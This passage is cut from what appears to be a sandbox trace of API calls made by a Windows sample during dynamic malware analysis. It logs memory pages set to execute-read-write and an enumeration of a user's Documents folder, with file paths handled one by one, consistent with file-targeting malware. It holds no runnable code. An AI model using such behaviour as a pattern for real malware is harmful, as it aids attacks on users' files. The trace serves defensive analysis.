BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx") returned 1 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx") returned 1 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx") returned 1 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx") returned 1 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\YSaF.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx") returned 1 [0165.873] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx") returned 1 [0165.874] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx") returned 1 [0165.874] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee82260, ftCreationTime.dwHighDateTime=0x1d5d85d, ftLastAccessTime.dwLowDateTime=0xd61e7f80, ftLastAccessTime.dwHighDateTime=0x1d5dbee, ftLastWriteTime.dwLowDateTime=0xd61e7f80, ftLastWriteTime.dwHighDateTime=0x1d5dbee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z8Q_yDu1jaODNbm6Rg", cAlternateFileName="Z8Q_YD~1")) returned 1 [0165.874] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\YSaF.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.874] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg", len=0x2f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.874] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.874] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.875] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.875] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.875] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.875] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.875] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.876] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg")) returned 0x10 [0165.876] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.878] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", cchWideChar=46, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rgõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 46 [0165.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.879] SysReAllocStringLen (in: pbstr=0x1fd0713c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1fd0713c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.879] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcdc090, ftCreationTime.dwHighDateTime=0x1d56cbe, ftLastAccessTime.dwLowDateTime=0xc39f45f0, ftLastAccessTime.dwHighDateTime=0x1d5c0b0, ftLastWriteTime.dwLowDateTime=0xc39f45f0, ftLastWriteTime.dwHighDateTime=0x1d5c0b0, nFileSizeHigh=0x0, nFileSizeLow=0x32e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zGwARxcKl_.pptx", cAlternateFileName="ZGWARX~1.PPT")) returned 1 [0165.879] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx") returned 1 [0165.879] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx") returned 1 [0165.879] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx") returned 1 [0165.880] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx") returned 1 [0165.880] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\zGwARxcKl_.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx") returned 1 [0165.880] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx") returned 1 [0165.880] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx") returned 1 [0165.880] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="zGwARxcKl_.pptx", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zGwARxcKl_.pptxjz\\Documents\\z8Q_yDu1jaODNbm6Rgõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.881] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="zGwARxcKl_.pptx", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zGwARxcKl_.pptxjz\\Documents\\z8Q_yDu1jaODNbm6Rgõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.881] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="zGwARxcKl_.pptx", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zGwARxcKl_.pptxjz\\Documents\\z8Q_yDu1jaODNbm6Rgõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.881] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1978ae60, ftCreationTime.dwHighDateTime=0x1d5e3db, ftLastAccessTime.dwLowDateTime=0x3a2397b0, ftLastAccessTime.dwHighDateTime=0x1d5e034, ftLastWriteTime.dwLowDateTime=0x3a2397b0, ftLastWriteTime.dwHighDateTime=0x1d5e034, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Lw_Ioi_qC44f0vdNG", cAlternateFileName="_LW_IO~1")) returned 1 [0165.881] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\zGwARxcKl_.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.881] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG", len=0x2f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.881] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.882] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.882] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.882] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.882] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.882] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.883] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG" (normalized: "c:\\users\\aetadzjz\\documents\\_lw_ioi_qc44f0vdng")) returned 0x10 [0165.884] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.884] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.884] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.889] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.889] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.889] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.890] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.890] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", cchWideChar=46, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNGõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 46 [0165.890] SysReAllocStringLen (in: pbstr=0x1fd12b94*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1fd12b94*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.890] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1978ae60, ftCreationTime.dwHighDateTime=0x1d5e3db, ftLastAccessTime.dwLowDateTime=0x3a2397b0, ftLastAccessTime.dwHighDateTime=0x1d5e034, ftLastWriteTime.dwLowDateTime=0x3a2397b0, ftLastWriteTime.dwHighDateTime=0x1d5e034, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Lw_Ioi_qC44f0vdNG", cAlternateFileName="_LW_IO~1")) returned 0 [0165.890] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.890] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.890] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: 